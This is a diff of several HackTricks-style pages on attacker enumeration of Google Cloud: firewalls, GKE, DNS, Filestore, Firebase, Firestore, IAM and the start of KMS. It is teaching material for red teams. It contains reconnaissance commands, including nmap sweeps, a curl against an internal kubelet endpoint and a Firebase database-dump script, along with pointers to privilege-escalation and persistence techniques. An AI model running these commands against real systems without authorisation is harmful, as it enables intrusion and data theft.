||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **GCP Compute Networking in a Nutshell**
|
||||
|
||||
**VPCs** contains **Firewall** rules to allow incoming traffic to the VPC. VPCs also contains **subnetworks** where **virtual machines** are going to be **connected**.\
|
||||
Comparing with AWS, **Firewall** would be the **closest** thing to **AWS** **Security Groups and NACLs**, but in this case these are **defined in the VPC** and not in each instance.
|
||||
|
||||
## **VPC, Subnetworks & Firewalls in GCP**
|
||||
|
||||
Compute Instances are connected **subnetworks** which are part of **VPCs** ([Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc)). In GCP there aren't security groups, there are [**VPC firewalls**](https://cloud.google.com/vpc/docs/firewalls) with rules defined at this network level but applied to each VM Instance.
|
||||
|
||||
### Subnetworks
|
||||
|
||||
A **VPC** can have **several subnetworks**. Each **subnetwork is in 1 region**.
|
||||
|
||||
### Firewalls
|
||||
|
||||
By default, every network has two [**implied firewall rules**](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): **allow outbound** and **deny inbound**.
|
||||
|
||||
When a GCP project is created, a VPC called **`default`** is also created, with the following firewall rules:
|
||||
|
||||
- **default-allow-internal:** allow all traffic from other instances on the `default` network
|
||||
- **default-allow-ssh:** allow 22 from everywhere
|
||||
- **default-allow-rdp:** allow 3389 from everywhere
|
||||
- **default-allow-icmp:** allow ping from everywhere
|
||||
|
||||
> [!WARNING]
|
||||
> As you can see, **firewall rules** tend to be **more permissive** for **internal IP addresses**. The default VPC permits all traffic between Compute Instances.
|
||||
|
||||
More **Firewall rules** can be created for the default VPC or for new VPCs. [**Firewall rules**](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following **methods**:
|
||||
|
||||
- [**Network tags**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
|
||||
- [**Service accounts**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
|
||||
- **All instances within a VPC**
|
||||
|
||||
Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.
|
||||
|
||||
This process was automated using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:
|
||||
|
||||
- CSV file showing instance, public IP, allowed TCP, allowed UDP
|
||||
- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
|
||||
- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
|
||||
|
||||
### Hierarchical Firewall Policies <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
|
||||
|
||||
_Hierarchical firewall policies_ let you create and **enforce a consistent firewall policy across your organization**. You can assign **hierarchical firewall policies to the organization** as a whole or to individual **folders**. These policies contain rules that can explicitly deny or allow connections.
|
||||
|
||||
You create and apply firewall policies as separate steps. You can create and apply firewall policies at the **organization or folder nodes of the** [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy). A firewall policy rule can **block connections, allow connections, or defer firewall rule evaluation** to lower-level folders or VPC firewall rules defined in VPC networks.
|
||||
|
||||
By default, all hierarchical firewall policy rules apply to all VMs in all projects under the organization or folder where the policy is associated. However, you can **restrict which VMs get a given rule** by specifying [target networks or target service accounts](https://cloud.google.com/vpc/docs/firewall-policies#targets).
|
||||
|
||||
You can read here how to [**create a Hierarchical Firewall Policy**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud).
|
||||
|
||||
### Firewall Rules Evaluation
|
||||
|
||||
<figure><img src="../../../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Org: Firewall policies assigned to the Organization
|
||||
2. Folder: Firewall policies assigned to the Folder
|
||||
3. VPC: Firewall rules assigned to the VPC
|
||||
4. Global: Another type of firewall rules that can be assigned to VPCs
|
||||
5. Regional: Firewall rules associated with the VPC network of the VM's NIC and region of the VM.
|
||||
|
||||
## VPC Network Peering
|
||||
|
||||
Allows to connect two Virtual Private Cloud (VPC) networks so that **resources in each network can communicate** with each other.\
|
||||
Peered VPC networks can be in the same project, different projects of the same organization, or **different projects of different organizations**.
|
||||
|
||||
These are the needed permissions:
|
||||
|
||||
- `compute.networks.addPeering`
|
||||
- `compute.networks.updatePeering`
|
||||
- `compute.networks.removePeering`
|
||||
- `compute.networks.listPeeringRoutes`
|
||||
|
||||
[**More in the docs**](https://cloud.google.com/vpc/docs/vpc-peering).
|
||||
|
||||
## References
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
- [https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation](https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+104
@@ -0,0 +1,104 @@
|
||||
# GCP - Containers & GKE Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Containers
|
||||
|
||||
In GCP containers you can find most of the containers based services GCP offers, here you can see how to enumerate the most common ones:
|
||||
|
||||
```bash
|
||||
gcloud container images list
|
||||
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
|
||||
gcloud container images describe <name>
|
||||
gcloud container subnets list-usable
|
||||
gcloud container clusters list
|
||||
gcloud container clusters describe <name>
|
||||
gcloud container clusters get-credentials [NAME]
|
||||
|
||||
# Run a container locally
|
||||
docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
|
||||
|
||||
# Login & Download
|
||||
sudo docker login -u oauth2accesstoken -p $(gcloud auth print-access-token) https://HOSTNAME
|
||||
## where HOSTNAME is gcr.io, us.gcr.io, eu.gcr.io, or asia.gcr.io.
|
||||
sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse container permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Node Pools
|
||||
|
||||
These are the pool of machines (nodes) that form the kubernetes clusters.
|
||||
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-pool>
|
||||
```
|
||||
|
||||
## Kubernetes
|
||||
|
||||
For information about what is Kubernetes check this page:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
First, you can check to see if any Kubernetes clusters exist in your project.
|
||||
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
|
||||
If you do have a cluster, you can have `gcloud` automatically configure your `~/.kube/config` file. This file is used to authenticate you when you use [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), the native CLI for interacting with K8s clusters. Try this command.
|
||||
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
|
||||
Then, take a look at the `~/.kube/config` file to see the generated credentials. This file will be used to automatically refresh access tokens based on the same identity that your active `gcloud` session is using. This of course requires the correct permissions in place.
|
||||
|
||||
Once this is set up, you can try the following command to get the cluster configuration.
|
||||
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
|
||||
You can read more about `gcloud` for containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
|
||||
This is a simple script to enumerate kubernetes in GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
Initially this privilege escalation technique allowed to **privesc inside the GKE cluster** effectively allowing an attacker to **fully compromise it**.
|
||||
|
||||
This is because GKE provides [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) in the metadata, which is **accessible by anyone by just compromising a pod**.
|
||||
|
||||
The technique used is explained in the following posts:
|
||||
|
||||
- [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/)
|
||||
- [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/)
|
||||
- [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/)
|
||||
|
||||
Ans this tool was created to automate the process: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
However, the technique abused the fact that **with the metadata credentials** it was possible to **generate a CSR** (Certificate Signing Request) for a **new node**, which was **automatically approved**.\
|
||||
In my test I checked that **those requests aren't automatically approved anymore**, so I'm not sure if this technique is still valid.
|
||||
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) it was discovered it was discovered a Kubelet API address accesible from inside a pod in GKE giving the details of the pods running:
|
||||
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
|
||||
Even if the API **doesn't allow to modify resources**, it could be possible to find **sensitive information** in the response. The endpoint /pods was found using [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,25 @@
|
||||
# GCP - DNS Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCP - Cloud DNS
|
||||
|
||||
Google Cloud DNS is a high-performance, resilient, global Domain Name System (DNS) service.
|
||||
|
||||
```bash
|
||||
# This will usually error if DNS service isn't configured in the project
|
||||
gcloud dns project-info describe <project>
|
||||
|
||||
# Get DNS zones & records
|
||||
gcloud dns managed-zones list
|
||||
gcloud dns managed-zones describe <zone>
|
||||
gcloud dns record-sets list --zone <zone> # Get record of the zone
|
||||
|
||||
# Policies
|
||||
## A response policy is a collection of selectors that apply to queries made against one or more virtual private cloud networks.
|
||||
gcloud dns response-policies list
|
||||
## DNS policies control internal DNS server settings. You can apply policies to DNS servers on Google Cloud Platform VPC networks you have access to.
|
||||
gcloud dns policies list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,74 @@
|
||||
# GCP - Filestore Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Filestore is a **managed file storage service** tailored for applications in need of both a **filesystem interface and a shared filesystem for data**. This service excels by offering high-performance file shares, which can be integrated with various GCP services. Its utility shines in scenarios where traditional file system interfaces and semantics are crucial, such as in media processing, content management, and the backup of databases.
|
||||
|
||||
You can think of this like any other **NFS** **shared document repository -** a potential source of sensitive info.
|
||||
|
||||
### Connections
|
||||
|
||||
When creating a Filestore instance it's possible to **select the network where it's going to be accessible**.
|
||||
|
||||
Moreover, by **default all clients on the selected VPC network and region are going to be able to access it**, however, it's possible to **restrict the access also by IP address** or range and indicate the access privilege (Admin, Admin Viewer, Editor, Viewer) user the client is going to get **depending on the IP address.**
|
||||
|
||||
It can also be accessible via a **Private Service Access Connection:**
|
||||
|
||||
- Are per VPC network and can be used across all managed services such as Memorystore, Tensorflow and SQL.
|
||||
- Are **between your VPC network and network owned by Google using a VPC peering**, enabling your instances and services to communicate exclusively by **using internal IP addresses**.
|
||||
- Create an isolated project for you on the service-producer side, meaning no other customers share it. You will be billed for only the resources you provision.
|
||||
- The VPC peering will import new routes to your VPC
|
||||
|
||||
### Backups
|
||||
|
||||
It's possible to create **backups of the File shares**. These can be later **restored in the origin** new Fileshare instance or in **new ones**.
|
||||
|
||||
### Encryption
|
||||
|
||||
By default a **Google-managed encryption key** will be used to encrypt the data, but it's possible to select a **Customer-managed encryption key (CMEK)**.
|
||||
|
||||
### Enumeration
|
||||
|
||||
If you find a filestore available in the project, you can **mount it** from within your compromised Compute Instance. Use the following command to see if any exist.
|
||||
|
||||
```bash
|
||||
# Instances
|
||||
gcloud filestore instances list # Check the IP address
|
||||
gcloud filestore instances describe --zone <zone> <name> # Check IP and access restrictions
|
||||
|
||||
# Backups
|
||||
gcloud filestore backups list
|
||||
gcloud filestore backups describe --region <region> <backup>
|
||||
|
||||
# Search for NFS shares in a VPC subnet
|
||||
sudo nmap -n -T5 -Pn -p 2049 --min-parallelism 100 --min-rate 1000 --open 10.99.160.2/20
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that a filestore service might be in a **completely new subnetwork created for it** (inside a Private Service Access Connection, which is a **VPC peer**).\
|
||||
> So you might need to **enumerate VPC peers** to also run nmap over those network ranges.
|
||||
>
|
||||
> ```bash
|
||||
> # Get peerings
|
||||
> gcloud compute networks peerings list
|
||||
> # Get routes imported from a peering
|
||||
> gcloud compute networks peerings list-routes <peering-name> --network=<network-name> --region=<region> --direction=INCOMING
|
||||
> ```
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
|
||||
There aren't ways to escalate privileges in GCP directly abusing this service, but using some **Post Exploitation tricks it's possible to get access to the data** and maybe you can find some credentials to escalate privileges:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-filestore-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-filestore-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,77 @@
|
||||
# GCP - Firebase Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Firebase](https://cloud.google.com/sdk/gcloud/reference/firebase/)
|
||||
|
||||
The Firebase Realtime Database is a cloud-hosted NoSQL database that lets you store and sync data between your users in realtime. [Learn more](https://firebase.google.com/products/realtime-database/).
|
||||
|
||||
### Unauthenticated Enum
|
||||
|
||||
Some **Firebase endpoints** could be found in **mobile applications**. It is possible that the Firebase endpoint used is **configured badly grating everyone privileges to read (and write)** on it.
|
||||
|
||||
This is the common methodology to search and exploit poorly configured Firebase databases:
|
||||
|
||||
1. **Get the APK** of app you can use any of the tool to get the APK from the device for this POC.\
|
||||
You can use “APK Extractor” [https://play.google.com/store/apps/details?id=com.ext.ui\&hl=e](https://hackerone.com/redirect?signature=3774f35d1b5ea8a4fd209d80084daa9f5887b105&url=https%3A%2F%2Fplay.google.com%2Fstore%2Fapps%2Fdetails%3Fid%3Dcom.ext.ui%26hl%3Den)
|
||||
2. **Decompile** the APK using **apktool**, follow the below command to extract the source code from the APK.
|
||||
3. Go to the _**res/values/strings.xml**_ and look for this and **search** for “**firebase**” keyword
|
||||
4. You may find something like this URL “_**https://xyz.firebaseio.com/**_”
|
||||
5. Next, go to the browser and **navigate to the found URL**: _https://xyz.firebaseio.com/.json_
|
||||
6. 2 type of responses can appear:
|
||||
1. “**Permission Denied**”: This means that you cannot access it, so it's well configured
|
||||
2. “**null**” response or a bunch of **JSON data**: This means that the database is public and you at least have read access.
|
||||
1. In this case, you could **check for writing privileges**, an exploit to test writing privileges can be found here: [https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit](https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit)
|
||||
|
||||
**Interesting note**: When analysing a mobile application with **MobSF**, if it finds a firebase database it will check if this is **publicly available** and will notify it.
|
||||
|
||||
Alternatively, you can use [Firebase Scanner](https://github.com/shivsahni/FireBaseScanner), a python script that automates the task above as shown below:
|
||||
|
||||
```bash
|
||||
python FirebaseScanner.py -f <commaSeperatedFirebaseProjectNames>
|
||||
```
|
||||
|
||||
### Authenticated Enum
|
||||
|
||||
If you have credentials to access the Firebase database you can use a tool such as [**Baserunner**](https://github.com/iosiro/baserunner) to access more easily the stored information. Or a script like the following:
|
||||
|
||||
```python
|
||||
#Taken from https://blog.assetnote.io/bug-bounty/2020/02/01/expanding-attack-surface-react-native/
|
||||
#Install pyrebase: pip install pyrebase4
|
||||
import pyrebase
|
||||
|
||||
config = {
|
||||
"apiKey": "FIREBASE_API_KEY",
|
||||
"authDomain": "FIREBASE_AUTH_DOMAIN_ID.firebaseapp.com",
|
||||
"databaseURL": "https://FIREBASE_AUTH_DOMAIN_ID.firebaseio.com",
|
||||
"storageBucket": "FIREBASE_AUTH_DOMAIN_ID.appspot.com",
|
||||
}
|
||||
|
||||
firebase = pyrebase.initialize_app(config)
|
||||
|
||||
db = firebase.database()
|
||||
|
||||
print(db.get())
|
||||
```
|
||||
|
||||
To test other actions on the database, such as writing to the database, refer to the Pyrebase4 documentation which can be found [here](https://github.com/nhorvath/Pyrebase4).
|
||||
|
||||
### Access info with APPID and API Key <a href="#access-info-with-appid-and-api-key" id="access-info-with-appid-and-api-key"></a>
|
||||
|
||||
If you decompile the iOS application and open the file `GoogleService-Info.plist` and you find the API Key and APP ID:
|
||||
|
||||
- API KEY **AIzaSyAs1\[...]**
|
||||
- APP ID **1:612345678909:ios:c212345678909876**
|
||||
|
||||
You may be able to access some interesting information
|
||||
|
||||
**Request**
|
||||
|
||||
`curl -v -X POST "https://firebaseremoteconfig.googleapis.com/v1/projects/612345678909/namespaces/firebase:fetch?key=AIzaSyAs1[...]" -H "Content-Type: application/json" --data '{"appId": "1:612345678909:ios:c212345678909876", "appInstanceId": "PROD"}'`
|
||||
|
||||
## References <a href="#references" id="references"></a>
|
||||
|
||||
- [https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/](https://blog.securitybreached.org/2020/02/04/exploiting-insecure-firebase-database-bugbounty/)
|
||||
- [https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1](https://medium.com/@danangtriatmaja/firebase-database-takover-b7929bbb62e1)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,17 @@
|
||||
# GCP - Firestore Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## [Cloud Firestore](https://cloud.google.com/sdk/gcloud/reference/firestore/)
|
||||
|
||||
Cloud Firestore, provided by Firebase and Google Cloud, is a **database that is both scalable and flexible, catering to mobile, web, and server development needs**. Its functionalities are akin to those of Firebase Realtime Database, ensuring data synchronization across client applications with realtime listeners. A significant feature of Cloud Firestore is its support for offline operations on mobile and web platforms, enhancing app responsiveness even in conditions of high network latency or absence of internet connection. Moreover, it is designed to integrate smoothly with other products from Firebase and Google Cloud, such as Cloud Functions.
|
||||
|
||||
```bash
|
||||
gcloud firestore indexes composite list
|
||||
gcloud firestore indexes composite describe <index>
|
||||
gcloud firestore indexes fields list
|
||||
gcloud firestore indexes fields describe <name>
|
||||
gcloud firestore export gs://my-source-project-export/export-20190113_2109 --collection-ids='cameras','radios'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,226 @@
|
||||
# GCP - IAM, Principals & Org Policies Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Service Accounts
|
||||
|
||||
For an intro about what is a service account check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
A service account always belongs to a project:
|
||||
|
||||
```bash
|
||||
gcloud iam service-accounts list --project <project>
|
||||
```
|
||||
|
||||
## Users & Groups
|
||||
|
||||
For an intro about how Users & Groups work in GCP check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
### Enumeration
|
||||
|
||||
With the permissions **`serviceusage.services.enable`** and **`serviceusage.services.use`** it's possible to **enable services** in a project and use them.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that by default, Workspace users are granted the role **Project Creator**, giving them access to **create new projects**. When a user creates a project, he is granted the **`owner`** role over it. So, he could **enable these services over the project to be able to enumerate Workspace**.
|
||||
>
|
||||
> However, notice that it's also needed to have **enough permissions in Workspace** to be able to call these APIs.
|
||||
|
||||
If you can **enable the `admin` service** and if your user has **enough privileges in workspace,** you could **enumerate all groups & users** with the following lines.\
|
||||
Even if it says **`identity groups`**, it also returns **users without any groups**:
|
||||
|
||||
```bash
|
||||
# Enable admin
|
||||
gcloud services enable admin.googleapis.com
|
||||
gcloud services enable cloudidentity.googleapis.com
|
||||
|
||||
# Using admin.googleapis.com
|
||||
## List all users
|
||||
gcloud organizations list #The DIRECTORY_CUSTOMER_ID is the Workspace ID
|
||||
gcloud beta identity groups preview --customer <workspace-id>
|
||||
|
||||
# Using cloudidentity.googleapis.com
|
||||
## List groups of a user (you can list at least the groups you belong to)
|
||||
gcloud identity groups memberships search-transitive-groups --member-email <email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
|
||||
|
||||
## List Group Members (you can list at least the groups you belong to)
|
||||
gcloud identity groups memberships list --group-email=<email>
|
||||
### Make it transitive
|
||||
gcloud identity groups memberships search-transitive-memberships --group-email=<email>
|
||||
|
||||
## Get a graph (if you have enough permissions)
|
||||
gcloud identity groups memberships get-membership-graph --member-email=<email> --labels=cloudidentity.googleapis.com/groups.discussion_forum
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> In the previous examples the param `--labels` is required, so a generic value is used (it's not requires if you used the API directly like [**PurplePanda does in here**](https://github.com/carlospolop/PurplePanda/blob/master/intel/google/discovery/disc_groups_users.py).
|
||||
|
||||
Even with the admin service enable, it's possible that you get an error enumerating them because your compromised workspace user doesn't have enough permissions:
|
||||
|
||||
<figure><img src="../../../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## IAM
|
||||
|
||||
Check [**this for basic information about IAM**](../gcp-basic-information/#iam-roles).
|
||||
|
||||
### Default Permissions
|
||||
|
||||
From the [**docs**](https://cloud.google.com/resource-manager/docs/default-access-control): When an organization resource is created, all users in your domain are granted the **Billing Account Creator** and **Project Creator** roles by default. These default roles allow your users to start using Google Cloud immediately, but are not intended for use in regular operation of your organization resource.
|
||||
|
||||
These **roles** grant the **permissions**:
|
||||
|
||||
- `billing.accounts.create` and `resourcemanager.organizations.get`
|
||||
- `resourcemanager.organizations.get` and `resourcemanager.projects.create`
|
||||
|
||||
Moreover, when a user creates a project, he is **granted owner of that project automatically** according to the [docs](https://cloud.google.com/resource-manager/docs/access-control-proj). Therefore, by default, a user will be able to create a project and run any service on it (miners? Workspace enumeration? ...)
|
||||
|
||||
> [!CAUTION]
|
||||
> The highest privilege in a GCP Organization is the **Organization Administrator** role.
|
||||
|
||||
### set-iam-policy vs add-iam-policy-binding
|
||||
|
||||
In most of the services you will be able to change the permissions over a resource using the method **`add-iam-policy-binding`** or **`set-iam-policy`**. The main difference is that **`add-iam-policy-binding` adds a new role binding** to the existent IAM policy while **`set-iam-policy`** will **delete the previously** granted permissions and **set only the ones** indicated in the command.
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# Roles
|
||||
## List roles
|
||||
gcloud iam roles list --project $PROJECT_ID # List only custom roles
|
||||
gcloud iam roles list --filter='etag:AA=='
|
||||
|
||||
## Get perms and description of role
|
||||
gcloud iam roles describe roles/container.admin
|
||||
gcloud iam roles describe --project <proj-name> <role-name>
|
||||
|
||||
# Policies
|
||||
gcloud organizations get-iam-policy <org_id>
|
||||
gcloud resource-manager folders get-iam-policy <folder-id>
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# MISC
|
||||
## Testable permissions in resource
|
||||
gcloud iam list-testable-permissions --filter "NOT apiDisabled: true" <resource>
|
||||
## Grantable roles to a resource
|
||||
gcloud iam list-grantable-roles <project URL>
|
||||
```
|
||||
|
||||
### cloudasset IAM Enumeration
|
||||
|
||||
There are different ways to check all the permissions of a user in different resources (such as organizations, folders, projects...) using this service.
|
||||
|
||||
- The permission **`cloudasset.assets.searchAllIamPolicies`** can request **all the iam policies** inside a resource.
|
||||
|
||||
```bash
|
||||
gcloud asset search-all-iam-policies #By default uses current configured project
|
||||
gcloud asset search-all-iam-policies --scope folders/1234567
|
||||
gcloud asset search-all-iam-policies --scope organizations/123456
|
||||
gcloud asset search-all-iam-policies --scope projects/project-id-123123
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.analyzeIamPolicy`** can request **all the iam policies** of a principal inside a resource.
|
||||
|
||||
```bash
|
||||
# Needs perm "cloudasset.assets.analyzeIamPolicy" over the asset
|
||||
gcloud asset analyze-iam-policy --organization=<org-id> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
gcloud asset analyze-iam-policy --folder=<folder-id> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
gcloud asset analyze-iam-policy --project=<project-name> \
|
||||
--identity='user:email@hacktricks.xyz'
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.searchAllResources`** allows listing all resources of an organization, folder, or project. IAM related resources (like roles) included.
|
||||
|
||||
```bash
|
||||
gcloud asset search-all-resources --scope projects/<proj-name>
|
||||
gcloud asset search-all-resources --scope folders/1234567
|
||||
gcloud asset search-all-resources --scope organizations/123456
|
||||
```
|
||||
|
||||
- The permission **`cloudasset.assets.analyzeMove`** but be useful to also retrieve policies affecting a resource like a project
|
||||
|
||||
```bash
|
||||
gcloud asset analyze-move --project=<proj-name> \
|
||||
--destination-organization=609216679593
|
||||
```
|
||||
|
||||
- I suppose the permission **`cloudasset.assets.queryIamPolicy`** could also give access to find permissions of principals
|
||||
|
||||
```bash
|
||||
# But, when running something like this
|
||||
gcloud asset query --project=<proj> --statement='SELECT * FROM compute_googleapis_com_Instance'
|
||||
# I get the error
|
||||
ERROR: (gcloud.asset.query) UNAUTHENTICATED: QueryAssets API is only supported for SCC premium customers. See https://cloud.google.com/security-command-center/pricing
|
||||
```
|
||||
|
||||
### testIamPermissions enumeration
|
||||
|
||||
> [!CAUTION]
|
||||
> If you **cannot access IAM information** using the previous methods and you are in a Red Team. You could **use the tool**[ **https://github.com/carlospolop/bf_my_gcp_perms**](https://github.com/carlospolop/bf_my_gcp_perms) **to brute-force your current permissions.**
|
||||
>
|
||||
> However, note that the service **`cloudresourcemanager.googleapis.com`** needs to be enabled.
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse IAM permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-iam-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Enum <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-iam-principals-and-org-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-iam-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
If you have high privileges you could:
|
||||
|
||||
- Create new SAs (or users if in Workspace)
|
||||
- Give principals controlled by yourself more permissions
|
||||
- Give more privileges to vulnerable SAs (SSRF in vm, vuln Cloud Function…)
|
||||
- …
|
||||
|
||||
## Org Policies
|
||||
|
||||
For an intro about what Org Policies are check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
The IAM policies indicate the permissions principals has over resources via roles, which are assigned granular permissions. Organization policies **restrict how those services can be used or which features are disabled**. This helps in order to improve the least privilege of each resource in the GCP environment.
|
||||
|
||||
```bash
|
||||
gcloud resource-manager org-policies list --organization=ORGANIZATION_ID
|
||||
gcloud resource-manager org-policies list --folder=FOLDER_ID
|
||||
gcloud resource-manager org-policies list --project=PROJECT_ID
|
||||
```
|
||||
|
||||
### Privesc
|
||||
|
||||
In the following page you can check how to **abuse org policies permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-orgpolicy-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,82 @@
|
||||
# GCP - KMS Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
The [**Cloud Key Management Service**](https://cloud.google.com/kms/docs/) serves as a secure storage for **cryptographic keys**, which are essential for operations like **encrypting and decrypting sensitive data**. These keys are organized within key rings, allowing for structured management. Furthermore, access control can be meticulously configured, either at the individual key level or for the entire key ring, ensuring that permissions are precisely aligned with security requirements.
|
||||
|
||||
KMS key rings are by **default created as global**, which means that the keys inside that key ring are accessible from any region. However, it's possible to create specific key rings in **specific regions**.
|
||||
|
||||
### Key Protection Level
|
||||
|
||||
- **Software keys**: Software keys are **created and managed by KMS entirely in software**. These keys are **not protected by any hardware security module (HSM)** and can be used for t**esting and development purposes**. Software keys are **not recommended for production** use because they provide low security and are susceptible to attacks.
|
||||
- **Cloud-hosted keys**: Cloud-hosted keys are **created and managed by KMS** in the cloud using a highly available and reliable infrastructure. These keys are **protected by HSMs**, but the HSMs are **not dedicated to a specific customer**. Cloud-hosted keys are suitable for most production use cases.
|
||||
- **External keys**: External keys are **created and managed outside of KMS**, and are imported into KMS for use in cryptographic operations. External keys **can be stored in a hardware security module (HSM) or a software library, depending on the customer's preference**.
|
||||
|
||||
### Key Purposes
|
||||
|
||||
